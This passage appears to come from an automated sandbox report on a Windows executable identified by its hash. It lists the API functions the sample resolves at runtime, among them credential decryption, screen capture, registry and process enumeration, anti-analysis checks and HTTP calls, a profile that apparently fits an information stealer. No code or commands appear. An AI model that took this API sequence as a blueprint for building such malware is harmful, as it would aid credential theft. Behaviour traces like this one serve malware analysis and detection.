GetDiskFreeSpaceExA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarNeg (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarNot (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarAdd (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarSub (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarMul (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarDiv (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarIdiv (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarMod (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarAnd (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarOr (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarXor (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarCmp (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarI4FromStr (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarR4FromStr (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarR8FromStr (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarDateFromStr (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarCyFromStr (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarBoolFromStr (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarBstrFromCy (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarBstrFromDate (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VarBstrFromBool (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetMonitorInfoA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter AnimateWindow (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter InitializeFlatSB (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter UninitializeFlatSB (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollProp (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollProp (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlatSB_EnableScrollBar (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlatSB_ShowScrollBar (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollRange (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollInfo (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollPos (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollPos (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollInfo (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollRange (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter SetLayeredWindowAttributes (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CoAddRefServerProcess (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CoReleaseServerProcess (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CoResumeClassObjects (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CoSuspendClassObjects (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter LoadLibraryExA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetTempPathA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter lstrlenA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter lstrcatA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetWindowsDirectoryA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateFileMappingA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter MapViewOfFile (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter memcpy (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter atexit (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter strtok_s (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter memset (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter memcmp (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter OpenEventA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateEventA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetUserDefaultLangID (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter VirtualAllocExNuma (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetComputerNameA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter lstrcpyA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GlobalMemoryStatusEx (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetSystemTime (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter SystemTimeToFileTime (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetUserNameA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateDCA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetDeviceCaps (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CryptStringToBinaryA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter sscanf (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GlobalLock (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GlobalSize (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter Process32Next (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetLocalTime (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetSystemPowerStatus (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetVolumeInformationA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter Process32First (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetLocaleInfoA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter DeleteFileA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FindNextFileA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetFileSizeEx (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter FindFirstFileA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CopyFileA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformationEx (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter lstrcpynA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter MultiByteToWideChar (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GlobalFree (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateCompatibleBitmap (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter SelectObject (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter BitBlt (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter DeleteObject (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateCompatibleDC (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GdipGetImageEncodersSize (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GdipGetImageEncoders (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromHBITMAP (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GdiplusShutdown (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GdipSaveImageToStream (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GdipDisposeImage (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GdipFree (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetHGlobalFromStream (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CreateStreamOnHGlobal (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter BCryptGenerateSymmetricKey (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter BCryptCloseAlgorithmProvider (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter BCryptDecrypt (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter BCryptSetProperty (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter BCryptDestroyKey (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter BCryptOpenAlgorithmProvider (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetDesktopWindow (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CloseWindow (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter wsprintfA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter EnumDisplayDevicesA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter GetKeyboardLayoutList (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CharToOemW (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter wsprintfW (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter RegEnumKeyExA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter RegEnumValueA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CryptBinaryToStringA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter CryptUnprotectData (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter SHGetFolderPathA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter ShellExecuteExA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter InternetOpenUrlA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter InternetConnectA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter InternetCloseHandle (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter InternetOpenA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter HttpSendRequestA (UID: 00000000-00004348) "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" called "GetProcAddress" with a parameter HttpOpenRequestA (UID: 00000000-00004348) 